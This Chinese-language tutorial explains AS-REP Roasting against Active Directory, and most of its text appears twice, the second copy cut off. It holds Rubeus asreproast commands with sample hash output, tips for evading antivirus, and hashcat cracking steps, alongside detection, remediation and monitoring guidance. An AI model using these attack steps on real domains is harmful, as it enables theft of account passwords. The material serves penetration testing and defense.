1. 项目概述Kerberos认证与AS-REP Roasting漏洞的本质在域渗透测试或红队评估中Kerberos协议的安全性一直是攻防双方关注的焦点。它作为Windows Active Directory域环境默认的身份验证协议其复杂性既带来了安全性也潜藏着诸多攻击面。AS-REP Roasting就是其中一个经典且高效的攻击手法它并非直接攻击协议加密算法而是巧妙地利用了Kerberos认证流程中一个可选的“便利性”配置缺陷。简单来说这个漏洞允许攻击者在无需任何预认证、甚至无需知道用户密码的情况下离线尝试破解某些域用户的密码哈希。想象一下你有一栋大楼域每个房间服务都需要一把特定的钥匙服务票据才能进入。要获得这把钥匙你需要先去前台Kerberos密钥分发中心KDC出示你的身份证明密码哈希来换取一张门票票据授予票据TGT。AS-REP Roasting攻击针对的是那些“不需要在前台出示身份证明只要报个名字就能拿到门票”的特殊用户。攻击者只需要知道这个用户的名字就能拿到一张用该用户密码加密的门票然后他可以把这张门票带回家慢慢尝试用各种可能的钥匙密码字典去打开它。一旦打开用户的密码就泄露了。这个项目就是教你如何利用Rubeus这款强大的.NET工具一键化、自动化地完成对域内所有此类“特殊用户”的发现和密码哈希的提取并深入理解其背后的原理最后给出切实可行的防御加固方案。无论你是安全工程师、渗透测试人员还是系统管理员理解并掌握这一攻防技术对于构建更健壮的域安全体系都至关重要。2. 核心原理深度解析Kerberos预认证与漏洞成因要理解AS-REP Roasting必须从Kerberos认证的第一步——AS-REQ/AS-REP交换说起。2.1 Kerberos认证第一步AS-REQ与AS-REP当域用户客户端需要访问某个服务时首先会向域控制器DC上的密钥分发中心KDC发起认证服务请求AS-REQ。这个请求的核心目的是获取一张票据授予票据TGT。一个标准的、安全的AS-REQ包含以下关键部分用户名 客户端要认证的用户主体名称UPN例如alicecontoso.com。服务名 固定为krbtgt表示请求的是TGT。时间戳 当前时间用于防止重放攻击。预认证数据 这是安全的关键。客户端会使用用户密码派生出的密钥通常是RC4-HMAC或AES密钥对时间戳进行加密并将加密结果作为预认证数据PA-DATA包含在请求中。域控制器收到请求后会进行如下验证根据用户名在活动目录中查找对应的用户账户。使用该用户存储的密码哈希同样用于派生密钥尝试解密预认证数据中的时间戳。如果解密成功且时间戳在允许的时间偏差内通常为5分钟则证明客户端拥有正确的密码。预认证通过。KDC生成TGT用krbtgt账户的密钥加密和一份会话密钥用用户密钥加密打包在AS-REP响应中返回给客户端。2.2 漏洞的开关DONT_REQ_PREAUTH属性问题就出在第三步“预认证”是可以被关闭的。Active Directory中的用户账户有一个名为DONT_REQ_PREAUTH的账户控制标志。当这个标志被设置时意味着“此用户不需要预认证”。其设计初衷是为了兼容一些非常古老的、不支持Kerberos预认证机制的应用或系统。然而在当今绝大多数环境中这已经是一个过时且危险的功能。漏洞利用流程攻击者发起AS-REQ 攻击者向KDC发送一个针对目标用户设置了DONT_REQ_PREAUTH的AS-REQ请求并且故意不包含任何预认证数据。KDC的“宽容”响应 KDC检查该用户账户发现其DONT_REQ_PREAUTH标志为真于是跳过了预认证检查。KDC认为“既然你不需要预认证那我就直接给你TGT吧”。它依然会生成TGT和会话密钥。关键步骤 在AS-REP响应中会话密钥Session Key部分仍然是使用目标用户的长期密钥即其密码哈希派生的密钥进行加密的。这是因为KDC需要确保只有真正的用户拥有密码才能解密并使用这个会话密钥。攻击者捕获哈希 攻击者收到了AS-REP响应。他无法解密TGT因为TGT是用krbtgt的密钥加密的但他可以轻松提取出被用户密码加密的“会话密钥”部分在AS-REP的enc-part字段中。这部分数据本质上就是用户密码哈希的一个“密文”。离线破解 攻击者将这个加密的“会话密钥”保存下来带离现场。随后他可以使用密码破解工具如Hashcat和庞大的密码字典离线尝试解密。由于加密算法RC4或AES是已知的这个过程就是纯粹的密码强度对抗。一旦破解成功用户的明文密码就被获取了。注意 攻击者在此过程中完全不需要与目标用户有任何交互也无需在目标系统上植入任何恶意软件。整个过程是网络协议层面的、静默的。2.3 为什么说它危险无接触 无需与目标用户交互无需钓鱼无需漏洞利用。权限要求低 攻击者只需要拥有对域环境的网络访问权限能访问KDC的88端口并且能枚举域用户名这通常很容易通过LDAP匿名查询或一个低权限域账户即可实现。隐蔽性高 产生的日志是正常的Kerberos认证日志除非专门监控DONT_REQ_PREAUTH用户的认证失败或成功事件否则难以发现。目标可能是高权限账户 系统管理员有时会为服务账户或旧脚本账户禁用预认证而这些账户的密码可能非常强大但也可能因为疏忽而弱密码。攻击者可以批量扫描所有用户寻找这类“软柿子”。3. 工具选型为什么是Rubeus在AS-REP Roasting的利用工具链中我们有多种选择例如PowerShell的Get-DomainUser配合Get-ASREPHash或者Impacket套件中的GetNPUsers.py。但Rubeus在此场景下展现出独特的优势使其成为许多专业渗透测试人员的首选。Rubeus的核心优势原生集成与高兼容性 Rubeus是用C#编写的在Windows域环境尤其是已取得一定权限的跳板机中运行是天作之合。它不依赖Python环境或其他外部库一个可执行文件即可运行减少了环境依赖带来的麻烦和暴露风险。功能强大且聚合 Rubeus是一个Kerberos“瑞士军刀”远不止于AS-REP Roasting。它还能进行票据传递PtT、票据续订、银票/金票伪造等。这意味着在实战中你可以用同一个工具完成从信息收集到横向移动的多个步骤工具链更简洁。操作极其简便 对于AS-REP RoastingRubeus提供了近乎一键式的操作。其asreproast命令可以自动完成用户枚举、请求发送、哈希提取和格式化输出的全过程输出格式直接兼容Hashcat和John the Ripper开箱即用。灵活性高 支持指定用户、用户列表、或自动从域中查找所有设置了DONT_REQ_PREAUTH标志的用户。也支持指定不同的加密类型RC4或AES来请求哈希以适应不同的破解工具偏好。与其他工具的简单对比工具语言/环境优点缺点RubeusC# / .NET原生Windows支持功能聚合操作简单输出格式友好需要编译或下载二进制文件在非Windows环境使用稍麻烦Impacket - GetNPUsers.pyPython跨平台Impacket套件的一部分功能稳定需要Python环境在纯净Windows靶机上可能需要额外部署PowerShell DSInternalsPowerShell无需额外下载工具可能已存在于内存中命令相对冗长需要组合多个cmdlet易被AMSI拦截实操心得 在真实的内部渗透测试中我通常优先使用Rubeus。它的单文件特性便于上传和执行而且其内存加载Assembly Load的运行方式在规避一些简单的静态检测时有一定优势。当然工具的选择也取决于当前已控主机的环境和防守方的监控强度保持工具库的多样性本身就是一种策略。4. 实战演练使用Rubeus进行AS-REP Roasting假设我们已经通过某种方式例如利用一个Web漏洞获得了一台域内主机的初始访问权限并且这台主机可以访问域控制器通常都可以。我们现在位于一个标准的命令提示符或PowerShell会话中。4.1 环境准备与工具获取首先你需要将Rubeus的可执行文件上传到目标主机。可以从GitHub的Rubeus项目发布页面下载预编译的二进制文件。在测试环境中请务必从官方或可信源获取。重要提示 在真实环境中直接上传可执行文件可能会触发防病毒软件警报。可以考虑使用混淆、内存加载如Cobalt Strike的execute-assembly或将其编译成DLL通过rundll32调用等方式进行规避。以下演示基于直接运行控制台程序。将Rubeus.exe上传到目标主机的临时目录例如C:\Windows\Temp\。4.2 基础扫描发现易受攻击用户最基础的命令是扫描整个域寻找所有设置了DONT_REQ_PREAUTH标志的用户并尝试获取他们的AS-REP哈希。C:\Windows\Temp\Rubeus.exe asreproast这条命令会自动通过当前主机的上下文或当前登录的用户令牌与域控制器通信。查询域内所有用户筛选出userAccountControl属性包含DONT_REQ_PREAUTH标志的账户。向KDC为每一个这样的用户发送无预认证的AS-REQ。接收AS-REP并从中提取出加密的会话密钥部分格式化为Hashcat可破解的格式默认为$krb5asrep$格式的哈希。将结果输出到屏幕。典型输出示例[*] Searching AS-REP roastable users in domain CONTOSO.LOCAL [*] Target Domain : CONTOSO.LOCAL [*] Searching path LDAP://DC01.CONTOSO.LOCAL/DCCONTOSO,DCLOCAL for ((samAccountType805306368)(userAccountControl:1.2.840.113556.1.4.803:4194304)) [*] Total roastable users : 2 [*] SamAccountName : legacy-svc [*] DistinguishedName : CNlegacy-svc,CNUsers,DCCONTOSO,DCLOCAL [*] Using domain controller: DC01.CONTOSO.LOCAL (192.168.1.10) [*] Building AS-REQ (w/o preauth) for: CONTOSO.LOCAL\legacy-svc [] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$legacy-svcCONTOSO.LOCAL:3E5F...长长的哈希值...F8C7 [*] SamAccountName : sql-agent [*] DistinguishedName : CNsql-agent,CNUsers,DCCONTOSO,DCLOCAL [*] Using domain controller: DC01.CONTOSO.LOCAL (192.168.1.10) [*] Building AS-REQ (w/o preauth) for: CONTOSO.LOCAL\sql-agent [] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$sql-agentCONTOSO.LOCAL:7A2B...长长的哈希值...D9E1太好了我们发现了两个用户legacy-svc和sql-agent。他们的AS-REP哈希已经被提取出来。4.3 高级用法与参数详解Rubeus的asreproast命令提供了丰富的参数以适应不同场景指定用户 如果你通过其他途径如LDAP枚举、邮箱列表已经知道了某个可疑用户名可以直接针对其测试。C:\Windows\Temp\Rubeus.exe asreproast /user:legacy-svc或者针对域管理员虽然概率低但值得一试C:\Windows\Temp\Rubeus.exe asreproast /user:administrator使用用户列表文件 如果你有一个庞大的用户名列表例如从kerbrute枚举得来可以批量测试。C:\Windows\Temp\Rubeus.exe asreproast /usersfile:C:\Temp\userlist.txt指定域控制器 在多域控制器环境中可以指定从哪个DC获取数据。C:\Windows\Temp\Rubeus.exe asreproast /dc:DC02.CONTOSO.LOCAL指定输出格式 默认输出Hashcat格式/format:hashcat也可以输出为John the Ripper格式。C:\Windows\Temp\Rubeus.exe asreproast /format:john将哈希输出到文件 这对于后续的离线破解非常方便。C:\Windows\Temp\Rubeus.exe asreproast /outfile:C:\Temp\asrephashes.txt请求特定加密类型 Kerberos支持多种加密类型。默认情况下Rubeus会请求支持的类型但你可以强制指定以获取特定格式的哈希这有时会影响破解效率。/rc4opsec 使用RC4_HMAC较旧破解速度快。/aes 请求AES密钥更安全破解难度大。在实战中如果只是为了快速获取可破解的哈希通常更关注RC4哈希。一个综合性的命令示例C:\Windows\Temp\Rubeus.exe asreproast /usersfile:namelist.txt /dc:dc01 /rc4opsec /outfile:hashes.txt /nowrap这个命令会从namelist.txt中读取用户名针对域控制器dc01请求RC4加密的哈希将结果输出到hashes.txt文件并且/nowrap参数确保哈希值不以Base64换行格式显示便于直接复制。4.4 离线破解从哈希到明文密码拿到$krb5asrep$...格式的哈希后攻击就进入了离线阶段。我们使用强大的密码破解工具Hashcat。准备哈希文件 将Rubeus输出的哈希保存到一个文件中例如hashes.txt。确保每行一个哈希。准备密码字典 准备一个强大的密码字典文件例如rockyou.txt或自定义的字典custom_dict.txt。使用Hashcat破解 Hashcat的模式18200对应 Kerberos 5 AS-REP etype 23 (RC4) 哈希这也是最常见的类型。# 在攻击者自己的高性能机器上运行 hashcat -m 18200 hashes.txt rockyou.txt -O -w 3-m 18200: 指定哈希模式。hashes.txt: 包含AS-REP哈希的文件。rockyou.txt: 密码字典。-O: 启用优化内核提升破解速度。-w 3: 设置工作负载为3高充分利用硬件资源。如果密码在字典中Hashcat会在几秒到几小时内将其破解出来并在屏幕上显示明文密码。实操心得 破解成功率高度依赖于密码字典的质量。对于服务账户除了通用弱口令字典一定要结合目标组织的行业特点、命名习惯、旧系统密码策略等制作针对性的字典。例如公司名年份、服务名“123”、“Password”月份等常见模式。5. 防御方案从检测到根除理解了攻击原理防御就变得有章可循。防御策略需要覆盖“发现”、“修复”、“监控”三个层面。5.1 发现如何定位域内的“易烤”用户在防御端第一步是知道自己域里有哪些用户是“开着门”的。使用PowerShell (Active Directory Module) 这是最直接的方法。Get-ADUsercmdlet 可以过滤userAccountControl属性。Import-Module ActiveDirectory Get-ADUser -Filter {userAccountControl -band 4194304} -Properties userAccountControl | Select-Object SamAccountName, DistinguishedName解释4194304是DONT_REQ_PREAUTH标志的十进制值。-band是位与运算符用于检查该标志位是否被设置。使用BloodHound等攻击面映射工具 BloodHound不仅能发现这些用户还能可视化地展示这些用户与高权限组、关键资产之间的关系帮助你评估风险等级。在BloodHound中查询 “Find Principals with DONT_REQ_PREAUTH” 即可。手动检查单个用户Get-ADUser -Identity legacy-svc -Properties userAccountControl | Select-Object SamAccountName, {NameDONT_REQ_PREAUTH;Expression{($_.userAccountControl -band 4194304) -ne 0}}如果输出为True则该用户易受攻击。5.2 修复关闭危险的大门找到这些用户后必须立即修复。修复的核心就是清除DONT_REQ_PREAUTH标志。使用PowerShell禁用Set-ADAccountControl -Identity legacy-svc -DoesNotRequirePreAuth $false执行后再次使用上面的检查命令确认标志已变为False。使用Active Directory用户和计算机ADUC图形界面打开dsa.msc。找到目标用户右键选择“属性”。切换到“账户”选项卡。查看“账户选项”列表取消勾选“不需要 Kerberos 预身份验证”。点击“确定”保存。修复后的影响评估 这是最关键的一步。为什么这个账户当初被设置了此标志通常有两种情况历史遗留/配置错误 没有任何理由纯粹是创建账户时的错误或从旧系统迁移带来的垃圾配置。这种情况直接关闭通常不会有任何影响。兼容性需求 极少数情况下某些非常古老的应用如某些版本的Java应用、旧的Linux系统通过Samba接入可能真的需要此设置才能进行Kerberos认证。操作流程沟通 联系该账户的所有者或使用该账户的应用负责人。测试 在非生产环境或低峰期尝试关闭该标志并测试相关应用或服务是否正常运行。决策如果应用运行正常永久关闭。如果应用认证失败你有两个选择 a.升级/替换应用 这是治本之策建议制定计划淘汰不兼容现代安全标准的老旧系统。 b.风险接受与补偿控制 如果短期内无法升级则必须将此账户视为极高风险账户实施强补偿控制 *设置极强密码 确保密码长度大于25位完全随机并定期更换。 *限制其使用范围 通过组策略GPO严格限制该账户只能从特定的、安全加固过的主机登录。 *加强监控 对该账户的所有登录和Kerberos票据请求事件进行实时告警。5.3 监控与持续审计防御不是一次性的动作需要持续的监控来防止问题复发。启用Kerberos预认证失败日志 虽然成功的AS-REP Roasting攻击不会产生“失败”日志但监控针对所有用户的无预认证AS-REQ请求本身是有价值的。你需要启用域控制器上的“审核Kerberos身份验证服务”策略并收集相关事件ID。不过请注意正常流量中也可能存在此类请求例如某些合法的客户端初始请求因此需要结合其他上下文进行分析。使用SIEM/SOC平台建立检测规则 一个更有效的检测思路是寻找短时间内针对多个用户的、无预认证的AS-REQ请求这很可能是攻击者在进行批量扫描。可以在SIEM中创建如下逻辑的告警规则EventID: 4768 (Kerberos Authentication Ticket Request) AND Pre-Authentication Type: “No Pre-authentication” AND Count by Source IP and User 阈值 (例如1分钟内来自同一IP对10个不同用户的请求)定期自动化审计 编写一个PowerShell脚本定期如每周扫描整个域检查是否有新出现的DONT_REQ_PREAUTH用户并将结果通过邮件发送给安全团队。这能有效防止在账户创建或修改流程中再次引入此配置。# 示例每周扫描脚本 $vulnerableUsers Get-ADUser -Filter {userAccountControl -band 4194304} -Properties userAccountControl, Created, Modified if ($vulnerableUsers) { # 发送告警邮件包含易受攻击用户列表 Send-MailMessage -To security-teamcontoso.com -Subject [安全告警] 发现AS-REP Roasting易攻击用户 -Body ($vulnerableUsers | Out-String) }6. 深入排查与高级防御思考在完成基础修复后我们可以从更深层次思考如何加固域环境使其对类似Kerberos攻击更具韧性。6.1 事件响应如果怀疑已遭攻击假设监控告警或日志分析让你怀疑有AS-REP Roasting攻击发生你应该立即采取以下步骤确认与遏制立即重置密码 为所有被检测到存在可疑请求的用户特别是高权限服务账户强制重置强密码。这是最直接有效的遏制手段即使哈希已被提取新密码也无法被用于解密旧的AS-REP响应。隔离相关账户 如果可能暂时禁用可疑账户直到调查完成。审查账户权限 检查这些账户所属的组、被授予的权限评估攻击者可能获得的访问路径。取证调查分析域控制器安全日志事件ID 4768 筛选出Pre-Authentication Type为0x0无预认证的请求。记录下源IP地址、用户名和时间戳。关联其他日志 将攻击源IP与防火墙、Web代理、终端检测响应EDR日志进行关联尝试定位攻击入口点是哪台主机发起的请求。检查哈希破解迹象 虽然离线破解难以直接检测但如果攻击者使用破解出的密码进行了后续登录例如网络登录、服务登录会产生相应的事件ID如4624、4625、4634。搜索在可疑AS-REQ事件之后来自非常见地点或主机的、这些用户的成功登录事件。6.2 架构性防御建议除了针对性的修复还应考虑提升整体域安全架构实施最严格的密码策略 对于所有用户尤其是服务账户强制使用长20字符、复杂、随机的密码。这能极大提高离线破解的难度和时间成本甚至使其在经济上不可行。考虑使用组托管服务账户gMSA或第三方特权账户管理PAM解决方案来管理服务账户密码实现自动轮换和长密码。淘汰RC4-HMAC加密 RC4算法相对脆弱且破解速度快。在域功能级别允许的情况下在组策略中禁用Kerberos对RC4加密的支持强制使用AES加密。这会使攻击者即使拿到AS-REP哈希也是AES加密的破解难度呈指数级上升。策略路径计算机配置 - 策略 - 安全设置 - 本地策略 - 安全选项 - 网络安全: 配置Kerberos允许的加密类型。取消勾选RC4_HMAC_MD5。启用高级审计策略 启用“审核Kerberos服务票证操作”等高级策略获取更详细的Kerberos活动日志。部署特权访问工作站PAW和跳板机 限制管理员直接从普通工作站登录域控制器或关键服务器。所有特权操作必须通过经过严格安全加固的专用工作站PAW或跳板机进行减少凭据在普通网络环境中暴露的风险。定期进行红队演练/渗透测试 主动使用Rubeus等工具对自己的域环境进行AS-REP Roasting扫描模拟攻击者视角验证防御措施的有效性并持续发现和修复配置缺陷。AS-REP Roasting漏洞的攻防本质上是安全配置管理与攻击者效率之间的对抗。通过自动化工具攻击者可以极低成本地进行全域扫描而防御者则需要通过同样自动化、制度化的安全基线和持续监控将这扇不该打开的门牢牢锁死。将“禁用不需要的Kerberos预认证”作为新账户创建的默认安全策略和定期审计的必查项是杜绝此类问题最根本的方法。
Kerberos认证漏洞实战：AS-REP Roasting攻击原理与Rubeus工具防御指南
1. 项目概述Kerberos认证与AS-REP Roasting漏洞的本质在域渗透测试或红队评估中Kerberos协议的安全性一直是攻防双方关注的焦点。它作为Windows Active Directory域环境默认的身份验证协议其复杂性既带来了安全性也潜藏着诸多攻击面。AS-REP Roasting就是其中一个经典且高效的攻击手法它并非直接攻击协议加密算法而是巧妙地利用了Kerberos认证流程中一个可选的“便利性”配置缺陷。简单来说这个漏洞允许攻击者在无需任何预认证、甚至无需知道用户密码的情况下离线尝试破解某些域用户的密码哈希。想象一下你有一栋大楼域每个房间服务都需要一把特定的钥匙服务票据才能进入。要获得这把钥匙你需要先去前台Kerberos密钥分发中心KDC出示你的身份证明密码哈希来换取一张门票票据授予票据TGT。AS-REP Roasting攻击针对的是那些“不需要在前台出示身份证明只要报个名字就能拿到门票”的特殊用户。攻击者只需要知道这个用户的名字就能拿到一张用该用户密码加密的门票然后他可以把这张门票带回家慢慢尝试用各种可能的钥匙密码字典去打开它。一旦打开用户的密码就泄露了。这个项目就是教你如何利用Rubeus这款强大的.NET工具一键化、自动化地完成对域内所有此类“特殊用户”的发现和密码哈希的提取并深入理解其背后的原理最后给出切实可行的防御加固方案。无论你是安全工程师、渗透测试人员还是系统管理员理解并掌握这一攻防技术对于构建更健壮的域安全体系都至关重要。2. 核心原理深度解析Kerberos预认证与漏洞成因要理解AS-REP Roasting必须从Kerberos认证的第一步——AS-REQ/AS-REP交换说起。2.1 Kerberos认证第一步AS-REQ与AS-REP当域用户客户端需要访问某个服务时首先会向域控制器DC上的密钥分发中心KDC发起认证服务请求AS-REQ。这个请求的核心目的是获取一张票据授予票据TGT。一个标准的、安全的AS-REQ包含以下关键部分用户名 客户端要认证的用户主体名称UPN例如alicecontoso.com。服务名 固定为krbtgt表示请求的是TGT。时间戳 当前时间用于防止重放攻击。预认证数据 这是安全的关键。客户端会使用用户密码派生出的密钥通常是RC4-HMAC或AES密钥对时间戳进行加密并将加密结果作为预认证数据PA-DATA包含在请求中。域控制器收到请求后会进行如下验证根据用户名在活动目录中查找对应的用户账户。使用该用户存储的密码哈希同样用于派生密钥尝试解密预认证数据中的时间戳。如果解密成功且时间戳在允许的时间偏差内通常为5分钟则证明客户端拥有正确的密码。预认证通过。KDC生成TGT用krbtgt账户的密钥加密和一份会话密钥用用户密钥加密打包在AS-REP响应中返回给客户端。2.2 漏洞的开关DONT_REQ_PREAUTH属性问题就出在第三步“预认证”是可以被关闭的。Active Directory中的用户账户有一个名为DONT_REQ_PREAUTH的账户控制标志。当这个标志被设置时意味着“此用户不需要预认证”。其设计初衷是为了兼容一些非常古老的、不支持Kerberos预认证机制的应用或系统。然而在当今绝大多数环境中这已经是一个过时且危险的功能。漏洞利用流程攻击者发起AS-REQ 攻击者向KDC发送一个针对目标用户设置了DONT_REQ_PREAUTH的AS-REQ请求并且故意不包含任何预认证数据。KDC的“宽容”响应 KDC检查该用户账户发现其DONT_REQ_PREAUTH标志为真于是跳过了预认证检查。KDC认为“既然你不需要预认证那我就直接给你TGT吧”。它依然会生成TGT和会话密钥。关键步骤 在AS-REP响应中会话密钥Session Key部分仍然是使用目标用户的长期密钥即其密码哈希派生的密钥进行加密的。这是因为KDC需要确保只有真正的用户拥有密码才能解密并使用这个会话密钥。攻击者捕获哈希 攻击者收到了AS-REP响应。他无法解密TGT因为TGT是用krbtgt的密钥加密的但他可以轻松提取出被用户密码加密的“会话密钥”部分在AS-REP的enc-part字段中。这部分数据本质上就是用户密码哈希的一个“密文”。离线破解 攻击者将这个加密的“会话密钥”保存下来带离现场。随后他可以使用密码破解工具如Hashcat和庞大的密码字典离线尝试解密。由于加密算法RC4或AES是已知的这个过程就是纯粹的密码强度对抗。一旦破解成功用户的明文密码就被获取了。注意 攻击者在此过程中完全不需要与目标用户有任何交互也无需在目标系统上植入任何恶意软件。整个过程是网络协议层面的、静默的。2.3 为什么说它危险无接触 无需与目标用户交互无需钓鱼无需漏洞利用。权限要求低 攻击者只需要拥有对域环境的网络访问权限能访问KDC的88端口并且能枚举域用户名这通常很容易通过LDAP匿名查询或一个低权限域账户即可实现。隐蔽性高 产生的日志是正常的Kerberos认证日志除非专门监控DONT_REQ_PREAUTH用户的认证失败或成功事件否则难以发现。目标可能是高权限账户 系统管理员有时会为服务账户或旧脚本账户禁用预认证而这些账户的密码可能非常强大但也可能因为疏忽而弱密码。攻击者可以批量扫描所有用户寻找这类“软柿子”。3. 工具选型为什么是Rubeus在AS-REP Roasting的利用工具链中我们有多种选择例如PowerShell的Get-DomainUser配合Get-ASREPHash或者Impacket套件中的GetNPUsers.py。但Rubeus在此场景下展现出独特的优势使其成为许多专业渗透测试人员的首选。Rubeus的核心优势原生集成与高兼容性 Rubeus是用C#编写的在Windows域环境尤其是已取得一定权限的跳板机中运行是天作之合。它不依赖Python环境或其他外部库一个可执行文件即可运行减少了环境依赖带来的麻烦和暴露风险。功能强大且聚合 Rubeus是一个Kerberos“瑞士军刀”远不止于AS-REP Roasting。它还能进行票据传递PtT、票据续订、银票/金票伪造等。这意味着在实战中你可以用同一个工具完成从信息收集到横向移动的多个步骤工具链更简洁。操作极其简便 对于AS-REP RoastingRubeus提供了近乎一键式的操作。其asreproast命令可以自动完成用户枚举、请求发送、哈希提取和格式化输出的全过程输出格式直接兼容Hashcat和John the Ripper开箱即用。灵活性高 支持指定用户、用户列表、或自动从域中查找所有设置了DONT_REQ_PREAUTH标志的用户。也支持指定不同的加密类型RC4或AES来请求哈希以适应不同的破解工具偏好。与其他工具的简单对比工具语言/环境优点缺点RubeusC# / .NET原生Windows支持功能聚合操作简单输出格式友好需要编译或下载二进制文件在非Windows环境使用稍麻烦Impacket - GetNPUsers.pyPython跨平台Impacket套件的一部分功能稳定需要Python环境在纯净Windows靶机上可能需要额外部署PowerShell DSInternalsPowerShell无需额外下载工具可能已存在于内存中命令相对冗长需要组合多个cmdlet易被AMSI拦截实操心得 在真实的内部渗透测试中我通常优先使用Rubeus。它的单文件特性便于上传和执行而且其内存加载Assembly Load的运行方式在规避一些简单的静态检测时有一定优势。当然工具的选择也取决于当前已控主机的环境和防守方的监控强度保持工具库的多样性本身就是一种策略。4. 实战演练使用Rubeus进行AS-REP Roasting假设我们已经通过某种方式例如利用一个Web漏洞获得了一台域内主机的初始访问权限并且这台主机可以访问域控制器通常都可以。我们现在位于一个标准的命令提示符或PowerShell会话中。4.1 环境准备与工具获取首先你需要将Rubeus的可执行文件上传到目标主机。可以从GitHub的Rubeus项目发布页面下载预编译的二进制文件。在测试环境中请务必从官方或可信源获取。重要提示 在真实环境中直接上传可执行文件可能会触发防病毒软件警报。可以考虑使用混淆、内存加载如Cobalt Strike的execute-assembly或将其编译成DLL通过rundll32调用等方式进行规避。以下演示基于直接运行控制台程序。将Rubeus.exe上传到目标主机的临时目录例如C:\Windows\Temp\。4.2 基础扫描发现易受攻击用户最基础的命令是扫描整个域寻找所有设置了DONT_REQ_PREAUTH标志的用户并尝试获取他们的AS-REP哈希。C:\Windows\Temp\Rubeus.exe asreproast这条命令会自动通过当前主机的上下文或当前登录的用户令牌与域控制器通信。查询域内所有用户筛选出userAccountControl属性包含DONT_REQ_PREAUTH标志的账户。向KDC为每一个这样的用户发送无预认证的AS-REQ。接收AS-REP并从中提取出加密的会话密钥部分格式化为Hashcat可破解的格式默认为$krb5asrep$格式的哈希。将结果输出到屏幕。典型输出示例[*] Searching AS-REP roastable users in domain CONTOSO.LOCAL [*] Target Domain : CONTOSO.LOCAL [*] Searching path LDAP://DC01.CONTOSO.LOCAL/DCCONTOSO,DCLOCAL for ((samAccountType805306368)(userAccountControl:1.2.840.113556.1.4.803:4194304)) [*] Total roastable users : 2 [*] SamAccountName : legacy-svc [*] DistinguishedName : CNlegacy-svc,CNUsers,DCCONTOSO,DCLOCAL [*] Using domain controller: DC01.CONTOSO.LOCAL (192.168.1.10) [*] Building AS-REQ (w/o preauth) for: CONTOSO.LOCAL\legacy-svc [] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$legacy-svcCONTOSO.LOCAL:3E5F...长长的哈希值...F8C7 [*] SamAccountName : sql-agent [*] DistinguishedName : CNsql-agent,CNUsers,DCCONTOSO,DCLOCAL [*] Using domain controller: DC01.CONTOSO.LOCAL (192.168.1.10) [*] Building AS-REQ (w/o preauth) for: CONTOSO.LOCAL\sql-agent [] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$sql-agentCONTOSO.LOCAL:7A2B...长长的哈希值...D9E1太好了我们发现了两个用户legacy-svc和sql-agent。他们的AS-REP哈希已经被提取出来。4.3 高级用法与参数详解Rubeus的asreproast命令提供了丰富的参数以适应不同场景指定用户 如果你通过其他途径如LDAP枚举、邮箱列表已经知道了某个可疑用户名可以直接针对其测试。C:\Windows\Temp\Rubeus.exe asreproast /user:legacy-svc或者针对域管理员虽然概率低但值得一试C:\Windows\Temp\Rubeus.exe asreproast /user:administrator使用用户列表文件 如果你有一个庞大的用户名列表例如从kerbrute枚举得来可以批量测试。C:\Windows\Temp\Rubeus.exe asreproast /usersfile:C:\Temp\userlist.txt指定域控制器 在多域控制器环境中可以指定从哪个DC获取数据。C:\Windows\Temp\Rubeus.exe asreproast /dc:DC02.CONTOSO.LOCAL指定输出格式 默认输出Hashcat格式/format:hashcat也可以输出为John the Ripper格式。C:\Windows\Temp\Rubeus.exe asreproast /format:john将哈希输出到文件 这对于后续的离线破解非常方便。C:\Windows\Temp\Rubeus.exe asreproast /outfile:C:\Temp\asrephashes.txt请求特定加密类型 Kerberos支持多种加密类型。默认情况下Rubeus会请求支持的类型但你可以强制指定以获取特定格式的哈希这有时会影响破解效率。/rc4opsec 使用RC4_HMAC较旧破解速度快。/aes 请求AES密钥更安全破解难度大。在实战中如果只是为了快速获取可破解的哈希通常更关注RC4哈希。一个综合性的命令示例C:\Windows\Temp\Rubeus.exe asreproast /usersfile:namelist.txt /dc:dc01 /rc4opsec /outfile:hashes.txt /nowrap这个命令会从namelist.txt中读取用户名针对域控制器dc01请求RC4加密的哈希将结果输出到hashes.txt文件并且/nowrap参数确保哈希值不以Base64换行格式显示便于直接复制。4.4 离线破解从哈希到明文密码拿到$krb5asrep$...格式的哈希后攻击就进入了离线阶段。我们使用强大的密码破解工具Hashcat。准备哈希文件 将Rubeus输出的哈希保存到一个文件中例如hashes.txt。确保每行一个哈希。准备密码字典 准备一个强大的密码字典文件例如rockyou.txt或自定义的字典custom_dict.txt。使用Hashcat破解 Hashcat的模式18200对应 Kerberos 5 AS-REP etype 23 (RC4) 哈希这也是最常见的类型。# 在攻击者自己的高性能机器上运行 hashcat -m 18200 hashes.txt rockyou.txt -O -w 3-m 18200: 指定哈希模式。hashes.txt: 包含AS-REP哈希的文件。rockyou.txt: 密码字典。-O: 启用优化内核提升破解速度。-w 3: 设置工作负载为3高充分利用硬件资源。如果密码在字典中Hashcat会在几秒到几小时内将其破解出来并在屏幕上显示明文密码。实操心得 破解成功率高度依赖于密码字典的质量。对于服务账户除了通用弱口令字典一定要结合目标组织的行业特点、命名习惯、旧系统密码策略等制作针对性的字典。例如公司名年份、服务名“123”、“Password”月份等常见模式。5. 防御方案从检测到根除理解了攻击原理防御就变得有章可循。防御策略需要覆盖“发现”、“修复”、“监控”三个层面。5.1 发现如何定位域内的“易烤”用户在防御端第一步是知道自己域里有哪些用户是“开着门”的。使用PowerShell (Active Directory Module) 这是最直接的方法。Get-ADUsercmdlet 可以过滤userAccountControl属性。Import-Module ActiveDirectory Get-ADUser -Filter {userAccountControl -band 4194304} -Properties userAccountControl | Select-Object SamAccountName, DistinguishedName解释4194304是DONT_REQ_PREAUTH标志的十进制值。-band是位与运算符用于检查该标志位是否被设置。使用BloodHound等攻击面映射工具 BloodHound不仅能发现这些用户还能可视化地展示这些用户与高权限组、关键资产之间的关系帮助你评估风险等级。在BloodHound中查询 “Find Principals with DONT_REQ_PREAUTH” 即可。手动检查单个用户Get-ADUser -Identity legacy-svc -Properties userAccountControl | Select-Object SamAccountName, {NameDONT_REQ_PREAUTH;Expression{($_.userAccountControl -band 4194304) -ne 0}}如果输出为True则该用户易受攻击。5.2 修复关闭危险的大门找到这些用户后必须立即修复。修复的核心就是清除DONT_REQ_PREAUTH标志。使用PowerShell禁用Set-ADAccountControl -Identity legacy-svc -DoesNotRequirePreAuth $false执行后再次使用上面的检查命令确认标志已变为False。使用Active 